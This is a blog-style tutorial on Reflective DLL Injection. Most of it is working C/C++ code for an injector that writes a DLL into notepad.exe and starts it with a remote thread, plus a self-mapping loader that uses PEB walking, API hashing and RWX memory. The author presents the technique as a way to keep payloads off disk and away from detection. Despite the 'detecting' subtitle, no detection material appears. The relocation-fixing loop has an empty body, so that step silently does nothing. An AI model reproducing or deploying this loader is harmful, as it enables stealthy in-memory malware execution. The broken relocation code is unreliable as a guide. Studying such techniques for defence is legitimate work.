Reflective DLL Injection

Implementing and detecting Reflective DLL Injections attacks.

Reflective DLL Injection
https://openart.ai/discovery/sd-1006153834403471420

Introduction

This post will introduce Reflective DLL Injection along with the steps it takes to implement and execute this technique.

A previous post covered the concept of DLL Injection which makes use of the LoadLibraryW function to load a DLL from disk into a process via a thread created remotely. The downside of this option is that the DLL is stored on disk. From the point of view of attackers and malware developers you may not always wish to have your payloads on disk where it may be detected or copied for analysis.

Reflective DLL Injection aims to load a DLL into a specified process, just like traditional DLL Injection, however it aims to do this without dropping the DLL to disk. This is achieved by emulating the Windows Loader and having the DLL load itself in memory so it can be executed.

Source Code for Examples

The source code associated with this post can be found on the following link.

Introduction to DLL Injection


When a executable is launched on Windows it is first mapped into memory, this means that the file needs to be converted from the disk representation to the in-memory representation. There may be multiple parts of the file that require updating, however, most files will at minimum require:

  • Resolution of Import Address Table (IAT) and loading of associated DLLs.
  • Update values in the Base Relocation Table.

The core of Reflective DLL Injection is injecting a DLL into another process that has the capability to map itself into the same memory space. This has the benefit of keeping the DLL in memory as opposed to the disk.

Reflective DLL Injection Process Diagram Example

The following list out the steps of Reflective DLL Injection:

  1. The Reflective DLL Injector will inject the DLL Payload into a target process. The DLL Payload a function will have independent code that when executed will help map the file into memory.
  2. The independent code in the DLL is executed via CreateRemoteThread or any other means.
  3. Through the independent code, the DLL Payload copies itself into another memory buffer in the same process and resolves that IAT and Base Relocation Table.
  4. The independent code will then invoke DLLMain of the mapped DLL Payload.
💡
The independent code mentioned above could be called shellcode, however, since the code is written in C to be independent and is never transferred anywhere in its pure byte/opcode representation I have decided to call it "Independent Code".

Reflective DLL Payload

The Reflective DLL Payload is the main payload that has the core logic we want to execute in the target process. The file has a function sendHTTPRequest that will call out to Google through a HTTP request. This was picked for example purposes in order to have visible feedback from when the payload is executed.

int sendHTTPRequest() {


        LPCSTR userAgent = "agent";
        LPCSTR connectDomain = "google.com";
        LPCSTR httpRequestType = "GET";
        LPCSTR targetPath = "/test";

        HINTERNET internetHandle = InternetOpenA(userAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
        if (internetHandle == NULL) {
                return -1;
        }

        DWORD_PTR dwService = (DWORD_PTR)NULL;

        HINTERNET httpHandle = InternetConnectA(internetHandle, connectDomain, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, dwService);
        if (httpHandle == NULL) {
                return -1;
        }

        HINTERNET httpRequestHandle = HttpOpenRequestA(httpHandle, httpRequestType, targetPath, NULL, NULL, NULL, 0, dwService);
        if (httpRequestHandle == NULL) {
                return -1;
        }

        BOOL result = HttpSendRequestA(httpRequestHandle, NULL, 0, NULL, 0);
        InternetCloseHandle(internetHandle);

        return 1;
}
HTTP Request Function that acts as our "Payload'

A function named loopHTTPConnect will loop through the sendHTTPRequest function.

void loopHTTPConnect() {

        while (true) {
                Sleep(5000);
                sendHTTPRequest();
        }

}
Function that loops through the "Payload" function

The loopHTTPConnect function is initially invoked through the DLL's DLLMail, which is run when the DLL file is loaded by a process.

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{

        HANDLE hThread = NULL;

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
                hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)loopHTTPConnect, NULL, 0, NULL);

                if (hThread == NULL) {
                        return FALSE;
                }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
HTTP Loop Function Invoked in DLLMain

Reflective DLL Injector

The Reflective DLL Injector is responsible for injecting the DLL Payload into a target process and invoking the independent code that will help the payload run itself.

This Reflective DLL Injector will take the payload from disk, however, this is only for testing and proof of concept purposes. In a real world scenario the payload could be on disk in an obfuscated or encrypted format, embedded within the Reflective DLL Injector itself, or even downloaded from the network.

When the Reflective DLL Injector gets ahold of the Reflective DLL Payload the first step is to find the offset of the independent code that will help the Reflective DLL Payload load itself in memory. In this case our independent code is an exported function named ReflectiveLoader, in order to find the offset we need to reference the export table and find the RVA of the ReflectiveLoader function. Once found we can then use this when we are creating a remote thread in the target process to execute this code.

        PIMAGE_NT_HEADERS64 pImageNTHeaders = (PIMAGE_NT_HEADERS64)(pDLLPayloadInHeap->e_lfanew + (LPBYTE)pDLLPayloadInHeap);
        PIMAGE_OPTIONAL_HEADER64 pImageOptionalHeader = &pImageNTHeaders->OptionalHeader;


        DWORD virtualAddressOfExportDirectory = pImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY) ConvertRVAToOffset(pDLLPayloadInHeap, virtualAddressOfExportDirectory);

        DWORD numberOfNames = pExportDirectory->NumberOfNames;
        DWORD* pAddressOfNames = (DWORD* ) ConvertRVAToOffset(pDLLPayloadInHeap, pExportDirectory->AddressOfNames);
        DWORD reflectiveLoaderExportOffset = 0;

        for (DWORD i = 0; i < numberOfNames; i++) {
                char* currentExportFunctionName = (char*) ConvertRVAToOffset(pDLLPayloadInHeap, pAddressOfNames[i]);

                if (strcmp(currentExportFunctionName, "ReflectiveLoader") == 0) {

                        WORD* pAddressOfNameOrdinals = (WORD*)ConvertRVAToOffset(pDLLPayloadInHeap, pExportDirectory->AddressOfNameOrdinals);
                        WORD currentExportFunctionOrdinal = pAddressOfNameOrdinals[i];

                        DWORD* pAddressOfFunction = (DWORD*)ConvertRVAToOffset(pDLLPayloadInHeap, pExportDirectory->AddressOfFunctions);
                        DWORD reflectiveLoaderRVA = pAddressOfFunction[currentExportFunctionOrdinal];

                        reflectiveLoaderExportOffset = (DWORD)(ConvertRVAToOffset(pDLLPayloadInHeap, reflectiveLoaderRVA) - (ULONG_PTR)pDLLPayloadInHeap);

                        break;
                }
        }

        if (reflectiveLoaderExportOffset == 0) {
                printf("Failed to locate ReflectiveLoader export\n");
                return -1;
        }
Parsing the DLL Payload Export Table to Locate ReflectiveLoader

The next section will open a handle to any process named notepad.exe, this will be the process we want to inject the DLL Payload into.

        // Find PID of Target Process
        LPCWSTR injectionTargetProcess = L"notepad.exe";
        DWORD injectionTargetProcessID = FindProcessID((LPWSTR)injectionTargetProcess);

        if (injectionTargetProcessID == -1) {
                wprintf(L"Could not find process: %ls", injectionTargetProcess);
                return 0;
        }

        wprintf(L"Injecting into %ls (%d)\n", injectionTargetProcess, injectionTargetProcessID);

        HANDLE hTargetProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, injectionTargetProcessID);
        if (hTargetProcess == NULL) {
                std::string errorMessage = GetLastErrorAsString();
                std::cout << "Failed to aquire handle to process: " << errorMessage << "\n";
                return -1;
        }
Open a Handle to notepad.exe

Once a handle is opened to notepad.exe a new buffer is allocated via VirtualAllocEx and the Reflective DLL Payload is copied over to the target process.

        LPVOID remoteBuffer = VirtualAllocEx(hTargetProcess, NULL, dllPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (remoteBuffer == NULL) {
                std::string errorMessage = GetLastErrorAsString();
                std::cout << "Failed to aquire handle to process: " << errorMessage << "\n";
                return -1;
        }

        if (!WriteProcessMemory(hTargetProcess, remoteBuffer, (LPVOID)pDLLPayloadInHeap, dllPayloadSize, NULL)) {
                std::string errorMessage = GetLastErrorAsString();
                std::cout << "Failed to aquire handle to process: " << errorMessage << "\n";

                VirtualFreeEx(hTargetProcess, remoteBuffer, 0, MEM_RELEASE);
                CloseHandle(hTargetProcess);

                return -1;
        }

After running VirtualAllocEx and copying the DLL Payload into the memory it allocated we have our Reflective DLL Payload in the target process and we know the offset of the ReflectiveLoader independent code.

The last step involves creating a remote thread in the target process via CreateRemoteThread that will execute the independent code in the ReflectiveLoader function.

        LPTHREAD_START_ROUTINE lpStartAddress = (LPTHREAD_START_ROUTINE) ((LPBYTE) remoteBuffer + reflectiveLoaderExportOffset);

        HANDLE hThread = CreateRemoteThread(hTargetProcess, NULL, 0, lpStartAddress, NULL, 0, NULL);
        if (hThread == NULL) {
                std::string errorMessage = GetLastErrorAsString();
                std::cout << "Remote thread failed " << errorMessage << "\n";

                VirtualFreeEx(hTargetProcess, remoteBuffer, 0, MEM_RELEASE);
                CloseHandle(hTargetProcess);

                return -1;
        }
Create a Remote Thread to Execute the ReflectiveLoader Function in the Target Process Memory Space

Now we have the Reflective DLL Payload loaded in the memory of the target process. However, the file itself is still in a on-disk format. This means we will never be able to execute DLLMain and have the program run gracefully.

The current execution has been passed to our function containing independent code named ReflectiveLoader by the Reflective Loader Injector. This is the core code that will convert this on-disk representation of the code to a in-memory representation and allow us to call DllMain.

Reflective Loading in the DLL Payload

The following will now expand on the details involved in the Reflective DLL implementation. The following code snippets are realted to the independent code found in ReflectiveLoader.

Find The Base Address of the Reflective DLL Payload

The first step for the DLL file to parse itself is to understand the base address it is located at. The ReflectiveLoader function was called without any parameters and as a result has no information about the environment it is in.

The first step to do this is to execute a GetCurrentInstructionPointer which will return the RIP of the caller.

__declspec(noinline) ULONG_PTR GetCurrentInstructionPointer(VOID) { return (ULONG_PTR)_ReturnAddress(); }
Helper Function to Retreive the Instruction Pointer

Once the program knows its current RIP it can start working upwards until it reaches the header of the file. The header of the PE file is identified by the MZ bytes, however, we also check against the PE header found in the NT Headers in order to avoid false positives.

        ULONG_PTR pCurrentInstructionPointer = GetCurrentInstructionPointer();
        PIMAGE_DOS_HEADER pCurrentDLLModule = (PIMAGE_DOS_HEADER)pCurrentInstructionPointer;


        while (TRUE) {

                if (pCurrentDLLModule->e_magic == IMAGE_DOS_SIGNATURE) {

                        // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
                        // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
                        // Reference: https://github.com/stephenfewer/ReflectiveDLLInjection/blob/178ba2a6a9feee0a9d9757dcaa65168ced588c12/dll/src/ReflectiveLoader.c#L94
                        if (pCurrentDLLModule->e_lfanew >= sizeof(IMAGE_DOS_HEADER) && pCurrentDLLModule->e_lfanew < 1024) {
                                PIMAGE_NT_HEADERS64 pSuspectedNtHeaders = (PIMAGE_NT_HEADERS64)(pCurrentDLLModule->e_lfanew + (LPBYTE)pCurrentDLLModule);
                                if (pSuspectedNtHeaders->Signature == IMAGE_NT_SIGNATURE) {
                                        break;
                                }
                        }
                }

                pCurrentDLLModule = (PIMAGE_DOS_HEADER)((LPBYTE)pCurrentDLLModule - 1);
        }

Once this is finished running we will have a pointer to the beginning of the memory space where the DLL has been placed.

Dynamically load and resolve LoadLibraryA, GetProcAddress, and VirtualAlloc

Since the ReflectiveLoader needs to be independent it cannot invoke any functions directly or have any embeded references to strings. This requires us to:

The API Hash routine is a fairly simple one and will allow us to avoid the usage of direct strings in the code (as an alternative stack strings could have been used). In the case of this API Hash routine we will pass in the strings and comapre the resulting hash against a value we are expecting, such as 0x50c4067 which is the hash for KERNEL32.DLL.

DWORD GetHashFromStringA(LPSTR string) {

        SIZE_T stringSize = GetSizeOfStringA(string);
        DWORD hash = 0x35;

        for (SIZE_T i = 0; i < stringSize; i++) {
                hash += (hash * 0xab10f29e + string[i]) & 0xffffff;
        }

        return hash;
}
API Hasing Algorithm

In a x64 process the GS segment register will hold the address of the Thread Environment Block (TEB). 60 bytes after the start of the TEB is a address to the Process Environment Block (PEB).

We are interested in the PEB as it will provide us access to a data strucure indicating all the loaded modules in the current process, including the address of Kernel32.dll.

        // Through PEB find the base address of Kernel32.dll

        _PPEB pPEB = (_PPEB)__readgsqword(0x60);
        PLDR_DATA_TABLE_ENTRY pCurrentPLDRDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pPEB->pLdr->InMemoryOrderModuleList.Flink;
        ULONG_PTR pKernel32Module = NULL;
Get a Pointer to the PEB

Each currently loaded module is looped through and the hashed name of that module is compared to the Kernel32.dll string hash that we are expecting. Once the correct string is found the base address of the module is saved.

        do {
                PWSTR currentModuleString = pCurrentPLDRDataTableEntry->BaseDllName.pBuffer;
                if (GetHashFromStringW(currentModuleString) == KERNEL32DLL_HASH) {
                        pKernel32Module = (ULONG_PTR)pCurrentPLDRDataTableEntry->DllBase;
                        break;
                }

                pCurrentPLDRDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pCurrentPLDRDataTableEntry->InMemoryOrderModuleList.Flink;

        } while (pCurrentPLDRDataTableEntry->TimeDateStamp != 0);
Parse the Loaded Modules Looking for Kernel32.dll

After the address of Kernel32.dll is found the functions of interest can be resolved to their address and used later in the program.

        VIRTUALALLOC pVirtualAlloc = (VIRTUALALLOC)GetFunctionOffset(VIRTUALALLOC_HASH, (PIMAGE_DOS_HEADER)pKernel32Module);
        FLUSHINSTRUCTIONCACHE pFlushInstructionCache = (FLUSHINSTRUCTIONCACHE)GetFunctionOffset(FLUSHINSTRUCTIONCACHE_HASH, (PIMAGE_DOS_HEADER)pKernel32Module);
        LOADLIBRARYA pLoadLibraryAAddress = (LOADLIBRARYA)GetFunctionOffset(LOADLIBRARYA_HASH, (PIMAGE_DOS_HEADER)pKernel32Module);
        GETPROCADDRESS pGetProcAddressAddress = (GETPROCADDRESS)GetFunctionOffset(GETPROCADDRESS_HASH, (PIMAGE_DOS_HEADER)pKernel32Module);
Resolve Functions via API Hashing

Make a mapped copy of the Reflective DLL Payload

Now we can start using the Win32 API functions that have been resolved. The first step is to allocate a new buffer space into which the DLL will be mapped.

Note, we are making an exact replica of the DLL Payload that has already been copied into the memory space of the process.

        // Find SizeOfImage from the current DLL in memory
        PIMAGE_NT_HEADERS pCurrentDLLModuleNTHeaders = (PIMAGE_NT_HEADERS)(pCurrentDLLModule->e_lfanew + (LPBYTE)pCurrentDLLModule);
        DWORD sizeOfImageOfCurrentDLLModule = pCurrentDLLModuleNTHeaders->OptionalHeader.SizeOfImage;

        // Allocate enough space to copy the DLL over and map it in memory
        LPVOID pMappedCurrentDLL = pVirtualAlloc(NULL, sizeOfImageOfCurrentDLLModule, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
Allocate a Second Buffer to store a Replica of DLL Payload

The first part of the mapping process is to copy the PE headers into the newly allocated buffer.

        // Copy PE headers to pMappedCurrentDLL
        DWORD sizeOfHeaders = pCurrentDLLModuleNTHeaders->OptionalHeader.SizeOfHeaders;
        for (DWORD i = 0; i < sizeOfHeaders; i++) {
                ((LPBYTE)pMappedCurrentDLL)[i] = ((LPBYTE)pCurrentDLLModule)[i];
        }
Copy the DLL Payload PE Headers into Newly Allocated Memory

Next each PE section will need to be copied to the newly allocated buffer at the virtual address offsets. This is critical to the process of mapping the DLL.

        DWORD numberOfSections = pCurrentDLLModuleNTHeaders->FileHeader.NumberOfSections;

        PIMAGE_OPTIONAL_HEADER64 pCurrentDLLModuleOptionalHeader = &pCurrentDLLModuleNTHeaders->OptionalHeader;
        PIMAGE_SECTION_HEADER pCurrentSectionHeader = (PIMAGE_SECTION_HEADER)(pCurrentDLLModuleNTHeaders->FileHeader.SizeOfOptionalHeader + (LPBYTE)pCurrentDLLModuleOptionalHeader);

        for (DWORD i = 0; i < numberOfSections; i++) {

                if (pCurrentSectionHeader->SizeOfRawData != 0) {
                        LPBYTE pDestinationAddress = (LPBYTE)pMappedCurrentDLL + pCurrentSectionHeader->VirtualAddress;
                        LPBYTE pSourceAddress = (LPBYTE)pCurrentDLLModule + pCurrentSectionHeader->PointerToRawData;
                        DWORD currentSectionRawSize = pCurrentSectionHeader->SizeOfRawData; // We copy the entire section, if an entire section is not needed in memory the uneeded portion will be overwritten by another section

                        for (DWORD i = 0; i < currentSectionRawSize; i++) {
                                pDestinationAddress[i] = pSourceAddress[i];
                        }
                }

                pCurrentSectionHeader++;
        }
Map the PE Sections into Memory

Resolve the IAT of the Mapped Version of Reflective DLL Payload

Now that the PE Headers and PE Sections are mapped into the buffer the IAT will need to be resolved. This is important as the various functions used by the payload (HttpOpenRequestA, InternetConnectA, …) will not work if the IAT is not correctly updated.

        PIMAGE_NT_HEADERS64 pMappedCurrentDLLNTHeader = (PIMAGE_NT_HEADERS64)(((PIMAGE_DOS_HEADER)pMappedCurrentDLL)->e_lfanew + (LPBYTE)pMappedCurrentDLL);
        PIMAGE_IMPORT_DESCRIPTOR pMappedCurrentDLLImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pMappedCurrentDLLNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + (LPBYTE)pMappedCurrentDLL);

        while (pMappedCurrentDLLImportDescriptor->Name != NULL) {
                LPSTR currentDLLName = (LPSTR)(pMappedCurrentDLLImportDescriptor->Name + (LPBYTE)pMappedCurrentDLL);
                HMODULE hCurrentDLLModule = pLoadLibraryAAddress(currentDLLName);

                PIMAGE_THUNK_DATA64 pImageThunkData = (PIMAGE_THUNK_DATA64)(pMappedCurrentDLLImportDescriptor->FirstThunk + (LPBYTE)pMappedCurrentDLL);

                while (pImageThunkData->u1.AddressOfData) {

                        if (pImageThunkData->u1.Ordinal & 0x8000000000000000) {
                                // Import is by ordinal

                                FARPROC resolvedImportAddress = pGetProcAddressAddress(hCurrentDLLModule, MAKEINTRESOURCEA(pImageThunkData->u1.Ordinal));

                                if (resolvedImportAddress == NULL) {
                                        return;
                                }

                                // Overwrite entry in IAT with the address of resolved function
                                pImageThunkData->u1.AddressOfData = (ULONGLONG)resolvedImportAddress;

                        }
                        else {
                                // Import is by name
                                PIMAGE_IMPORT_BY_NAME pAddressOfImportData = (PIMAGE_IMPORT_BY_NAME)((pImageThunkData->u1.AddressOfData) + (LPBYTE)pMappedCurrentDLL);
                                FARPROC resolvedImportAddress = pGetProcAddressAddress(hCurrentDLLModule, pAddressOfImportData->Name);

                                if (resolvedImportAddress == NULL) {
                                        return;
                                }

                                // Overwrite entry in IAT with the address of resolved function
                                pImageThunkData->u1.AddressOfData = (ULONGLONG)resolvedImportAddress;

                        }

                        pImageThunkData++;
                }

                pMappedCurrentDLLImportDescriptor++;
        }
Resolve IAT

Update the Base Relocation Table of the Reflective DLL Payload

Lastly, the Base Relocation Table will need to be updated in order to ensure that any hardcoded address in the DLL will resolve properly with the new base offset.

        DWORD numberOfRelocEntires;
        PIMAGE_BASE_RELOCATION pCurrentBaseRelocation = (PIMAGE_BASE_RELOCATION)(pMappedCurrentDLLNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + (LPBYTE)pMappedCurrentDLL);
        PIMAGE_RELOC pCurrentBaseRelocationEntry;

        while (pCurrentBaseRelocation->VirtualAddress != 0) {

                numberOfRelocEntires = ((pCurrentBaseRelocation->SizeOfBlock) - 0x8) / 0x2;
                pCurrentBaseRelocationEntry = (PIMAGE_RELOC)((LPBYTE)pCurrentBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));

                for (DWORD i = numberOfRelocEntires; i != 0; i--) {
                        if (pCurrentBaseRelocationEntry->type == IMAGE_REL_BASED_DIR64) {
                        }
                        pCurrentBaseRelocationEntry++;
                }

                pCurrentBaseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)pCurrentBaseRelocation + pCurrentBaseRelocation->SizeOfBlock);
        }
Fix the Base Reallocation Table

Invoke DLLMain of the Reflective DLL Payload

Now with the DLL Headers and PE Sections mapped, IAT entries resovled, and Base Relocation Table fixed the DLLMain of the DLL can be invoked.

        ULONG_PTR pDllEntryPoint = (ULONG_PTR)(pMappedCurrentDLLNTHeader->OptionalHeader.AddressOfEntryPoint + (LPBYTE)pMappedCurrentDLL);

        pFlushInstructionCache((HANDLE)-1, NULL, 0);

        typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
        ((DLLMAIN)pDllEntryPoint) ((HINSTANCE)pMappedCurrentDLL, DLL_PROCESS_ATTACH, NULL);
Invoke Entrypoint

Reflective DLL Injection Demonstration

The following GIF provides a video demonstration of the injection process. We can see the injector running and injecting into a Notepad process (PID 8020). Once this occurs there is thread activity inthe Notepad process. Shortly after HTTP activity beings in Wireshark indicating a successful injection.

Injection Demonstration

Digging deeper into the Notepad process inside of Process Hacker we can see a memory section that is readable, writable, and executable containing our injected DLL Payload.

Injected DLL Payload in Memory

We can also see The Winhttp.dll loaded into Notepad. Of course, this is not loaded by Notepad itself but by our DLL Payload that requires it for its functionality.

WINHTTP.DLL loaded after the IAT was resolved